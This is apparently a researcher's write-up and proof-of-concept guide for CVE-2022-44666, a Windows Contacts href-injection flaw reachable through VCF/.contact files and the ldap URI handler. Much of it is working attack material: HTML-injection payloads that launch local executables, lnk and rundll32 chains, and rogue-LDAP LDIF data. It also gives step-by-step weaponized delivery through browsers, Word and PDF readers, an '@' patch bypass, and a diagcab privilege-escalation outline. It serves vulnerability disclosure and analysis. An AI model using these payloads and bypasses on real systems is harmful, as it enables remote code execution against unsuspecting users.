
CVE-2022-44666에 대한 기술 문서 및 개념 증명, Windows 연락처 syslink 컨트롤 href 속성 이스케이프 취약점으로 조작된 VCF/.contact 파일 및 LDAP 프로토콜 핸들러를 통해 원격 코드 실행을 가능하게 합니다.
이것은 4년 이상 전에 [John Page (hyp3rlinx)][R.1]가 완전히 공개한 또 다른 잊혀진 0day에 관한 이야기입니다. 보고서를 이해하려면 제가 멍청하다는 점을 감안해야 합니다 :-) 그리고 제 멍청함은 간단한 문제를 해결하는 데 더 긴 경로를 선택하게 만들지만, 동시에 어떤 버그를 악용하는 다른 방법을 찾게도 합니다. 왜 이런 말을 할까요? .contact 파일을 만드는 방법이 연락처 폴더로 이동하여 연락처를 생성하는 것임을 빨리 이해하지 못했기 때문입니다. 대신, 저는 이 정보를 사용하여 먼저 VCF 파일을 만든 다음, 이것이 일종의 변종이라고 잘못 생각했습니다. 이는 또한 제 뇌가 일부 0day가 그렇게 오랫동안 잊혀진다는 것을 이해하지 못하기 때문입니다 ¯\(ツ)/¯ 그렇게 한 후, [MSRC][R.2]와 [ZDI][R.3]의 "수정 불가" 답변 이후 추가 조사를 통해 심각도를 높였고, 마침내 .contact 파일과 Windows URL 프로토콜 핸들러 "ldap"에 도달했습니다.
[이 취약점][R.4]에 대한 익스플로잇 코드를 읽는 동안, 실제로 0day로 공개되었으며 [ZDI의 보고서][R.5]를 찾을 수 있습니다.
업데이트 2022/07/21: 이 사례를 MS에 보고한 후, MSRC 관계자들은 Windows 연락처가 VCF 파일을 여는 기본 프로그램이 아니라고 정확히 지적했습니다.

추가 연구 결과, Win7 ESU 및 WinServer2019에서 VCF 파일의 기본 프로그램은 Windows 연락처(wab.exe)이지만, 그 외의 경우 MS People(PeopleApp.exe)이 사용됨을 보여줍니다. 다음은 이 테스트의 전체 표입니다:
어쨌든 그들은 여전히 조작된 VCF 파일을 열고 일부 링크를 클릭하여 버그를 악용하는 사회 공학적 요소가 포함되어 있으므로 MSRC 보안 업데이트 기준을 충족하지 못한다고 주장합니다.

업데이트 2022/07/25: 음, 추가 연구 끝에 동일한 버그임을 확인했습니다. 마침내 .contact 파일의 개념 증명을 찾을 수 있었습니다. HTML 엔티티를 사용하여 .contact 파일을 올바르게 구문 분석하는 것이 실제로 가능합니다. 이는 이전 문제(2022/07/21 업데이트)를 해결하며, 이 파일 형식(.contact)은 시스템에 MS Office가 설치된 경우에도 Windows 연락처(이 파일 확장자의 기본 프로그램)에 의해 열립니다. 첫 번째 파일 연결이 아직 이루어지지 않은 경우에만 필요하며, 기본적으로 설치된 유일한 프로그램은 Windows 연락처입니다.
업데이트 2022/07/25: 이 추가 연구를 통해 얼마 전에 도달하려 했던 지점에 도달했습니다: URL 프로토콜 핸들러를 사용하여 조작된 연락처 데이터를 자동으로 열어 버그를 악용하는 것입니다. 마침내 ldap URI 체계 덕분에 작동시킬 수 있었습니다. 이는 기본적으로 Windows 연락처 애플리케이션과 연결되어 있습니다. 따라서 가짜 LDAP 서버를 설정하고 mail, url 또는 wwwhomepage 속성 아래에 페이로드 데이터를 제공하면, 악성 VCF/Contact 파일을 두 번 클릭할 필요가 없으므로 URL 프로토콜을 사용하여 이를 전달할 수 있어 익스플로잇 영향력이 증가합니다.
업데이트 2023/02/08: MSRC의 선의의 표시로, [John Page (hyp3rlinx)][R.1]가 [CVE-2022-44666][R.10] 발견에 대한 감사 페이지에 포함되었습니다.

보고서는 기본적으로 위 링크와 동일하지만, 관련된 사회 공학적 요소를 약간 개선했습니다. 사실, 제가 가장 먼저 한 일은 링크가 보이는 방식을 개선한 것입니다. 마치 XSS 취약점처럼, 실제로는 HTML 주입이므로 첫 번째 앵커 요소를 닫고 새 요소를 삽입할 수 있습니다. 그런 다음, 해당 HTML 요소의 가시성을 제거하기 위해 가능한 한 긴 "innerHTML"을 설정하여 숨기려고 했습니다(문자 제한이 있기 때문).
사용된 최종 페이로드는 다음과 같습니다:```html URL;WORK:">CLICKMEEEEE...
무슨 일이 일어나는지 확인하려면, procmon을 실행하고 href 속성의 가짜 대상을 다음과 같이 설정하세요:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/foo.exe">CLICKMEEEEE...</a>
링크를 클릭하면 procmon에서 다음과 같은 출력이 관찰됩니다:

첫 번째 "CreateFile" 작업에 대한 스택 추적입니다:``` 0 FLTMGR.SYS FltpPerformPreCallbacksWorker + 0x36c 0xfffff806675a666c C:\WINDOWS\System32\drivers\FLTMGR.SYS 1 FLTMGR.SYS FltpPassThroughInternal + 0xca 0xfffff806675a611a C:\WINDOWS\System32\drivers\FLTMGR.SYS 2 FLTMGR.SYS FltpCreate + 0x310 0xfffff806675dc0c0 C:\WINDOWS\System32\drivers\FLTMGR.SYS 3 ntoskrnl.exe IofCallDriver + 0x55 0xfffff8066904e565 C:\WINDOWS\system32\ntoskrnl.exe 4 ntoskrnl.exe IoCallDriverWithTracing + 0x34 0xfffff8066909c224 C:\WINDOWS\system32\ntoskrnl.exe 5 ntoskrnl.exe IopParseDevice + 0x117d 0xfffff806694256bd C:\WINDOWS\system32\ntoskrnl.exe 6 ntoskrnl.exe ObpLookupObjectName + 0x3fe 0xfffff8066941329e C:\WINDOWS\system32\ntoskrnl.exe 7 ntoskrnl.exe ObOpenObjectByNameEx + 0x1fa 0xfffff806694355fa C:\WINDOWS\system32\ntoskrnl.exe 8 ntoskrnl.exe NtQueryAttributesFile + 0x1c5 0xfffff80669501125 C:\WINDOWS\system32\ntoskrnl.exe 9 ntoskrnl.exe KiSystemServiceCopyEnd + 0x25 0xfffff806692097b5 C:\WINDOWS\system32\ntoskrnl.exe 10 ntdll.dll NtQueryAttributesFile + 0x14 0x7ff8f0aed4e4 C:\Windows\System32\ntdll.dll 11 KernelBase.dll GetFileAttributesW + 0x85 0x7ff8ee19c045 C:\Windows\System32\KernelBase.dll 12 shlwapi.dll PathFileExistsAndAttributesW + 0x5a 0x7ff8ef20212a C:\Windows\System32\shlwapi.dll 13 shlwapi.dll PathFileExistsDefExtAndAttributesW + 0xa1 0x7ff8ef2022b1 C:\Windows\System32\shlwapi.dll 14 shlwapi.dll PathFileExistsDefExtW + 0x3f 0x7ff8ef2021ef C:\Windows\System32\shlwapi.dll 15 shlwapi.dll PathFindOnPathExW + 0x2f7 0x7ff8ef201f77 C:\Windows\System32\shlwapi.dll 16 shell32.dll PathResolve + 0x154 0x7ff8eebb0954 C:\Windows\System32\shell32.dll 17 shell32.dll CShellExecute::QualifyFileIfNeeded + 0x105 0x7ff8eebb05c9 C:\Windows\System32\shell32.dll 18 shell32.dll CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e 0x7ff8eeb1e422 C:\Windows\System32\shell32.dll 19 shell32.dll CShellExecute::_DoExecute + 0x6d 0x7ff8eeb1e1cd C:\Windows\System32\shell32.dll 20 shell32.dll <lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d 0x7ff8eeb09fed C:\Windows\System32\shell32.dll 21 SHCore.dll _WrapperThreadProc + 0xe9 0x7ff8f098bf69 C:\Windows\System32\SHCore.dll 22 kernel32.dll BaseThreadInitThunk + 0x14 0x7ff8f07e7034 C:\Windows\System32\kernel32.dll 23 ntdll.dll RtlUserThreadStart + 0x21 0x7ff8f0aa2651 C:\Windows\System32\ntdll.dll
**Shell32!ShellExecuteExW**에 중단점을 설정하면 관련된 함수들에 대해 더 명확한 그림을 얻을 수 있습니다:```
CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000 wab.exe
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410 mov qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
# Child-SP RetAddr Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
그리고 관련된 의사 코드는 다음과 같습니다:```cpp _int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4) {
...
default:
if ( !((v22 + 4) & 0xFFFFFFFD) && *(_WORD *)(v5 + 136) )
SafeExecute(v7, (const unsigned __int16 *)v9, (const unsigned __int16 *)(v5 + 136)); <== FOLLOW THIS PATH
break;
}
} return 1i64; }
__int64 __fastcall SafeExecute(HWND a1, const unsigned __int16 *a2, const unsigned __int16 *a3) { const unsigned __int16 *v3; // rbx HWND v4; // rdi unsigned int v5; // ebx BOOL v6; // ebx __int64 v7; // rdx OLECHAR *v8; // rax signed int v10; // eax DWORD pcchCanonicalized; // [rsp+20h] [rbp-E0h] SHELLEXECUTEINFOW pExecInfo; // [rsp+30h] [rbp-D0h] OLECHAR Dst[2088]; // [rsp+A0h] [rbp-60h]
v3 = a3; v4 = a1; memset_0(Dst, 0, 0x1048ui64); pcchCanonicalized = 2084; v5 = UrlCanonicalizeW(v3, Dst, &pcchCanonicalized, 0); if ( (v5 & 0x80000000) == 0 ) { v6 = UrlIsW(Dst, URLIS_FILEURL); pExecInfo.hProcess = 0i64; pExecInfo.hwnd = 0i64; pExecInfo.lpVerb = 0i64; _mm_store_si128((__m128i *)&pExecInfo.lpParameters, (__m128i)0i64); *(_OWORD *)&pExecInfo.hInstApp = 0i64; *(_OWORD *)&pExecInfo.lpClass = 0i64; *(_OWORD *)&pExecInfo.dwHotKey = 0i64; if ( !ShellExecuteExW(&pExecInfo) ) <== CALL HERE { v10 = GetLastError(); v5 = (unsigned __int16)v10 | 0x80070000; if ( v10 <= 0 ) v5 = v10; } } ... }
이후, 문제는 실제로 [SysLink controls in comctl32.dll library][R.6]와 wab32.dll 라이브러리가 href 속성을 파싱하는 방식과 관련이 있음이 분명합니다. 원격 공유 위치나 webdavs를 사용하여 이를 악용하는 것은 불가능합니다.```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5C127.0.0.1%4080%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5Cvboxsvr%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
파일 정보는 조회되지만 실행되지는 않습니다.

다음과 같은 상대 경로를 사용할 수 있습니다:```html URL;WORK:">CLICKMEEEEE...

예제:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/hidden%5Cpayload.exe">CLICKMEEEEE...</a>

더 나아가서 rundll32를 공격 벡터로 테스트하는 동안, 선택된 페이로드 실행 파일에 인수를 사용할 수 없다는 것을 알게 되었습니다. 그러나 선택한 실행 파일을 대상으로 하는 lnk 파일을 사용하면 cmdline 인수를 사용할 수 있었습니다. 약간 까다롭지만 작동합니다.```html URL;WORK:">CLICKMEEEEE...
run.lnk의 대상:```
rundll32.exe hidden\payload.bin,Foo"

이는 대상 시스템에 실행 파일을 드롭할 필요가 없기 때문에 더 흥미롭게 보입니다.
현재 로그인한 사용자로의 원격 코드 실행.
Windows 연락처가 .vcf 파일을 열기 위해 파일 연결이 존재해야 합니다.
2021/07/25 업데이트: 연락처 파일(.contact)의 경우 기본적으로 여는 응용 프로그램은 Windows 연락처뿐이며, 대상 시스템에 MS Office가 설치되어 있어도 마찬가지입니다.
./report-pocs/에 있는 파일 사용:
./videos에 첨부된 두 개의 비디오가 있습니다:


다음은 ./report-pocs/에 있는 개념 증명 파일의 요약입니다:
그리고 ./src에 있는 파일들:
추가 악용을 위해, 취약점이 원격 공유 위치 파일을 로드할 수 없으므로 URI 프로토콜 "search-ms"가 흥미로운 벡터입니다. calc 또는 notepad와 같은 로컬 바이너리만 트리거하는 개념 증명과, 로컬 파일을 실행하지 않기 때문에 무기화된 악용이라고 명명한 더 복잡한 개념 증명을 찾을 수 있습니다. 이러한 개념 증명 및 악용 파일은 ./further-pocs/에 있습니다.
다음은 대상 응용 프로그램의 요약입니다:
재현하려면:
원격 공유 위치(SMB 또는 WebDav)를 설정합니다. ./further-pocs/to-copy-in-remote-shared-location/의 내용을 그 위치에 복사합니다.
원하는 경우 ./further-pocs/to-copy-in-remote-shared-location/setup-hidden.bat를 실행하여 파일을 숨깁니다.
./further-pocs/[벡터 또는 대상 앱]/remote-weaponized-by-searchms/에 있는 파일 exploit.html/poc.html을 수정하여 원격 공유 위치를 가리키도록 합니다.
대상 앱 경로, 즉 ./further-pocs/[벡터 또는 대상 앱]/[poc||remote-weaponized-by-searchms]/에서 웹 서버를 시작합니다.
경우에 따라 poc/exploit 파일을 실행합니다.
자세한 내용은 ./videos에 있는 비디오를 시청하세요:





추가적으로, 추가 악용을 위한 모든 파일은 다음과 같습니다:
2022/07/21 업데이트를 MSRC로부터 받은 후, 연락처 파일 확장자를 살펴보기로 결정했습니다. 이는 원래 발견자가 발견한 것과 동일한 사례인지 확인하기 위함이며, 물론 그렇습니다. 첫 번째 개념 증명은 단순히 다른 파일 형식을 사용한 것이었지만, 버그는 동일합니다. "C:\Program Files\Windows Mail"에 있는 wabmig.exe를 사용하여 모든 VCF 파일을 연락처 파일로 변환할 수 있습니다.

그리고 서론 업데이트에서 언급했듯이, 이러한 파일은 Windows 연락처(기본 프로그램)에 의해 열립니다.
재현 단계는 VCF 파일에 사용된 것과 동일합니다. VCF 파일에서 관찰된 동일한 제한 사항이 연락처 파일에도 적용됩니다. 즉, "href" 속성에 원격 공유 위치를 사용할 수 없지만 로컬 경로나 URL 프로토콜 "search-ms"는 여전히 사용할 수 있습니다.
다음은 연락처 파일을 악용하기 위해 추가되거나 수정된 모든 파일입니다:
위에서 언급했듯이, 이 추가 연구를 통해 한동안 도달하려고 했던 지점에 도달하게 되었습니다. 즉, 일부 URL 프로토콜 핸들러를 사용하여 제작된 연락처 데이터를 자동으로 열어 버그를 악용하는 것입니다. 이 도전은 마침내 ldap URI 체계 덕분에 달성되었습니다.```js ... Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\LDAP] @="URL:LDAP Protocol" "EditFlags"=hex:02,00,00,00 "URL Protocol"=""
[HKEY_CLASSES_ROOT\LDAP\Clsid] @="{228D9A81-C302-11cf-9AA4-00AA004A5691}"
[HKEY_CLASSES_ROOT\LDAP\shell]
[HKEY_CLASSES_ROOT\LDAP\shell\open]
[HKEY_CLASSES_ROOT\LDAP\shell\open\command]
@=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,
00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,
4d,00,61,00,69,00,6c,00,5c,00,77,00,61,00,62,00,2e,00,65,00,78,00,65,00,22,
00,20,00,22,00,2f,00,6c,00,64,00,61,00,70,00,3a,00,25,00,31,00,22,00,00,00
...
즉:```
"%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
따라서 가짜 LDAP 서버를 설정하고 페이로드 데이터를 제공함으로써, 이 URL 프로토콜 핸들러를 사용하여 Windows 연락처(wab.exe)를 실행하고, ldif 속성 mail, url 또는 wwwhomepage에 악성 페이로드를 포함시키는 것이 가능합니다. [R.8]에 표시된 대로 "wwwhomepage" 속성에서는 이 작업이 작동하지 않았지만, 이론적으로는 작동해야 합니다.
제작된 ldif 콘텐츠는 다음과 같습니다:```html ... dn: dc=org dc: org objectClass: dcObject
dn: dc=example,dc=org dc: example objectClass: dcObject objectClass: organization
dn: ou=people,dc=example,dc=org objectClass: organizationalUnit ou: people
dn: cn=Microsoft,ou=people,dc=example,dc=org cn: Microsoft gn: Microsoft company: Microsoft title: Microsoft KB5001337-hotfix mail:">Run-installer... url:">Run-installer... wwwhomepage:">Run-installer... objectclass: top objectclass: person objectClass: inetOrgPerson ...
다음은 rogue LDAP 서버의 코드는 ldaptor 프로젝트의 빠른 시작 서버에서 차용되었으며, [여기][R.9]에 위치해 있습니다.
다음은 대상 애플리케이션 요약입니다:
* 브라우저: MS Edge, Google Chrome, Mozilla Firefox 및 Opera.
* MS Word.
* PDF 리더(주로 Adobe Acrobat Reader DC 및 Foxit PDF Reader).
재현 단계는 다음과 같습니다:
1. [./further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs)를 원격 공유 위치(SMB 또는 WebDav)에 복사합니다.
2. 원한다면 [./further-pocs/MSWord/setup-hidden.bat](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/setup-hidden.bat)를 실행하여 파일을 숨깁니다.
3. pip로 ldaptor 설치: pip install ldaptor. 참고: 이는 Python 2.7 x64에서 테스트되었습니다.
4. [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py)에 위치한 rogue LDAP 서버를 시작합니다.
5. 대상 앱 경로에 웹 서버를 시작합니다. 즉, ./further-pocs/[벡터 또는 대상 앱]/url-protocol-ldap/.
6. 케이스에 따라 익스플로잇 파일을 실행합니다.
7. 자세한 내용은 [./videos](https://github.com/j00sean/cve-2022-44666/blob/main/videos)에 있는 동영상을 시청하세요:
- 7.1. 브라우저: [./videos/ldap-browsers-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-browsers-exploit.gif).

- 7.2. MS Word: [./videos/ldap-msword-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-msword-exploit.gif).

- 7.3. PDF 리더: [./videos/ldap-pdfreaders-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-pdfreaders-exploit.gif).

다음은 URL 프로토콜 ldap을 익스플로잇하기 위한 추가 파일입니다:
+ [./further-pocs/browsers/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/browsers/url-protocol-ldap/exploit.html): rogue LDAP 서버에서 url 프로토콜 ldap을 로드하여 메일 및 URL에 대한 조작된 데이터를 반환하는 HTML 파일.
+ [./further-pocs/MSWord/url-protocol-ldap/poc.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/poc.html): rogue LDAP 서버에서 url 프로토콜 ldap을 로드하여 메일 및 URL에 대한 조작된 데이터를 반환하는 원격 템플릿(htmlfile activex).
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.rtf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.rtf): 원격 템플릿(htmlfile activex)을 트리거하는 RTF 형식의 Word 파일.
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.docx](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.docx): 원격 템플릿(htmlfile activex)을 트리거하는 DOCX 형식의 Word 파일.
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.html): rogue LDAP 서버에서 url 프로토콜 ldap을 로드하여 메일 및 URL에 대한 조작된 데이터를 반환하는 HTML 파일.
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf): uri 프로토콜 "ldap"을 실행하기 위해 기본 브라우저를 트리거하는 PDF.
+ [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py): ldaptor의 서버 샘플을 기반으로 한 Python 스크립트로, Python 2.7에서 실행되며 ldif 속성 mail, url, wwwhomepage를 통해 버그를 익스플로잇하기 위한 조작된 데이터를 제공합니다.
## CVE-2022-44666: 패치 분석 및 불완전한 수정
2022년 12월 13일, Microsoft는 이 취약점에 대한 패치를 [CVE-2022-44666][R.10]으로 출시했습니다.
패치를 비교하는 데 사용된 버전(C:\Program Files\Common Files\System\wab32.dll에 위치)은 다음과 같습니다:
+ MD5: 588A3D68F89ABF1884BEB7267F274A8B (패치 전)
+ MD5: D1708215AD2624E666AFD97D97720E81 (패치 후)
영향을 받는 라이브러리(wab32.dll)를 [@matalaz][R.12]의 [Diaphora][R.11]로 비교하면 몇 가지 새로운 함수를 발견할 수 있습니다:

그리고 다음은 부분 일치입니다:

함수 "fnSummaryProc"의 새로운 코드를 살펴보면:```cpp
__int64 __fastcall fnSummaryProc(HWND a1, int a2, WPARAM a3, LONG_PTR a4)
{
...
if ( v26 <= 0x824 && (!v23 ? (v27 = 0) : (v27 = IsValidWebsiteUrlScheme(v23)), v27) ) // (1)
{
v38 = (unsigned __int16 *)2085;
v39 = &CPercentEncodeRFC3986::`vftable';
v40 = v23;
v41 = v26;
v28 = CPercentEncodeString::Encode(
(CPercentEncodeString *)&v39,
(unsigned __int16 *)&Dst,
(unsigned __int64 *)&v38,
v25);
v29 = v7;
if ( !v28 )
{
v30 = (const unsigned __int16 *)&Dst;
LABEL_44:
SafeExecute(v29, v24, v30); // (2)
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38);
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44; // (3)
}
}
v31 = GetParent(v29);
ShowMessageBox(v31, 0xFE1u, 0x30u); // (4)
return 1i64;
}
...
}
수정 후, 새 코드는 "SafeExecute" (2) 함수를 호출하거나 메시지 상자를 표시합니다 (4).

"SafeExecute" (2) 함수 호출에 도달하려면 (1)의 코드 흐름을 따라가면 됩니다:```cpp _BOOL8 __fastcall IsValidWebsiteUrlScheme(LPCWSTR pszIn) { const WCHAR *v1; // rbx _BOOL8 result; // rax DWORD pcchOut; // [rsp+30h] [rbp-68h] char Dst; // [rsp+40h] [rbp-58h]
v1 = pszIn; result = 0; if ( UrlIsW(pszIn, URLIS_URL) ) // (5) { memset_0(&Dst, 0, 0x40ui64); pcchOut = 32; if ( UrlGetPartW(v1, (LPWSTR)&Dst, &pcchOut, 1u, 0) >= 0 && (!(unsigned int)StrCmpICW(&Dst, L"http") || !(unsigned int)StrCmpICW(&Dst, L"https")) ) // (6) { result = 1; } } return result; }
이 함수는 먼저 [URL이 (5)에서 유효한지][R.13] 확인한 다음, (6)에서 "http" 또는 "https"로 시작하는지 검사합니다. 이 코드 경로는 충분히 안전해 보입니다. `fnSummaryProc` 함수로 돌아가면, (3)의 수정 사항을 우회하는 데 도움이 될 수 있는 또 다른 코드 경로가 있습니다.```cpp
__int64 __fastcall IsInternetAddress(unsigned __int16 *a1, unsigned __int16 **a2)
{
unsigned __int16 v2; // ax
unsigned __int16 **v3; // r14
unsigned __int16 *v4; // rdi
unsigned __int16 *v5; // r15
unsigned __int16 v6; // dx
unsigned __int16 *v7; // r8
unsigned __int16 *v8; // rcx
WCHAR v9; // ax
_WORD *v10; // rsi
int v11; // ebp
LPWSTR v12; // rax
unsigned __int16 *v14; // rax
v2 = *a1;
v3 = a2;
v4 = a1;
v5 = a1;
while ( v2 && v2 != 0x3C )
{
a1 = CharNextW(a1);
v2 = *a1;
}
v6 = *a1;
v7 = a1;
if ( *a1 )
{
v8 = a1 + 1;
v4 = v8;
}
else
{
v8 = v4;
}
v9 = *v8;
v10 = (_WORD *)((unsigned __int64)v7 & -(__int64)(v6 != 0));
v11 = v6 != 0;
if ( *v8 & 0xFFBF )
{
while ( v9 <= 0x7Fu && v9 != 0xD && v9 != 0xA )
{
if ( v9 == 0x40 ) // (7)
{
v14 = CharNextW(v8);
if ( !(unsigned int)IsDomainName(v14, v11, v3 != 0i64) ) // (8)
return 0i64;
if ( v3 )
{
if ( v10 )
{
*v10 = 0;
TrimSpaces(v5);
}
*v3 = v4;
}
return 1i64;
}
v12 = CharNextW(v8);
v8 = v12;
v9 = *v12;
if ( !v9 )
return 0i64;
}
}
return 0i64;
}
(7)에서 이 점이 제 관심을 끌었는데, 코드가 '@' 문자가 있는지 확인하는 부분입니다. 그런 다음 '@' 문자 뒤의 문자열이 도메인 이름인지 확인하기 위해 "IsDomainName" 함수를 호출합니다.```cpp __int64 __fastcall IsDomainName(unsigned __int16 *a1, int a2, int a3) { int v3; // edi int v4; // ebx int v5; // er9 __int64 v6; // rdx
v3 = a3; v4 = a2; if ( !a1 ) return 0i64; LABEL_2: v5 = *a1; if ( !(_WORD)v5 || (_WORD)v5 == 0x2E || v4 && (_WORD)v5 == 0x3E ) return 0i64; while ( (_WORD)v5 && (!v4 || (_WORD)v5 != 0x3E) ) { if ( (unsigned __int16)v5 >= 0x80u ) return 0i64; if ( (unsigned __int16)(v5 - 10) <= 0x36u ) { v6 = 19140298416324617i64; if ( _bittest64(&v6, (unsigned int)(v5 - 10)) ) return 0i64; } if ( (_WORD)v5 == 46 ) { a1 = CharNextW(a1); if ( a1 ) goto LABEL_2; return 0i64; } a1 = CharNextW(a1); v5 = *a1; } if ( v4 ) { if ( (_WORD)v5 != 0x3E ) return 0i64; if ( v3 ) *a1 = 0; } return 1i64; }
그러므로 이 수정을 우회하는 방법은 매우 간단합니다. 단일 문자 '@'를 사용하기만 하면 됩니다. 다음과 같은 symlink href 속성들은 수정을 성공적으로 우회할 것입니다:```html
hidden\@payload.lnk
hidden\@payload.exe
```html [email protected] [email protected]
For further info, there's a video for a [standalone contact file](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/simple-payload.gif).

Proof of concept located in [./bypass/report-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/report-pocs).
And another one for [MS Word and LDAP url protocol](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/ldap-msword-exploit.gif).

Proof of concept located in [./bypass/further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/further-pocs).
One day later the patch release, this information was sent to MSRC. Unfortunately, the case has been recently closed with no further info about it.

## Diagcab file as payload
After [CVE-2022-30190][R.14] also known as [Follina vulnerability][R.15] and [CVE-2022-34713][R.16] also known as [DogWalk vulnerability][R.17], a [publicly known but underrated technique][R.18] was reborn again thanks to [@buffaloverflow][R.19]. My mate and friend [Eduardo Braun Prado][R.20] gave me the idea to use this technique over here.
There are some pre-requirements to do this:
1. The target user has to belong to administrator group. If not, there's a UAC prompt.
2. The diagcab file has to be signed, so the codesigning certificate must have been installed in the target computer.
A real attack scenario would pass for stealing a code signing certificate which is in fact installed in the target system. But as this is just a proof of concept, a self-signed code signing certificate was generated and used to sign the diagcab file named as [@payload.diagcab](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs/MSWord/hidden/%40payload.diagcab).
So in order to repro, it's needed to install the certificate located in [cert.cer](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs/cert.cer) under Trusted Root Certificate Authority [like this](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/install-certificate.gif):

To finally elevate the priveleges, a token stealing/impersonation could be used. In this case, ["parent process" technique][R.21] was the [chosen one][R.22]. A modified version for this script was included inside the resolver scripts.
For further info, there's a video for [MS Word and LDAP url protocol](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/ldap-msword-diagcab-exploit.gif).

Proof of concept located in [./bypass/diagcab-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs).
## JAR files as payload
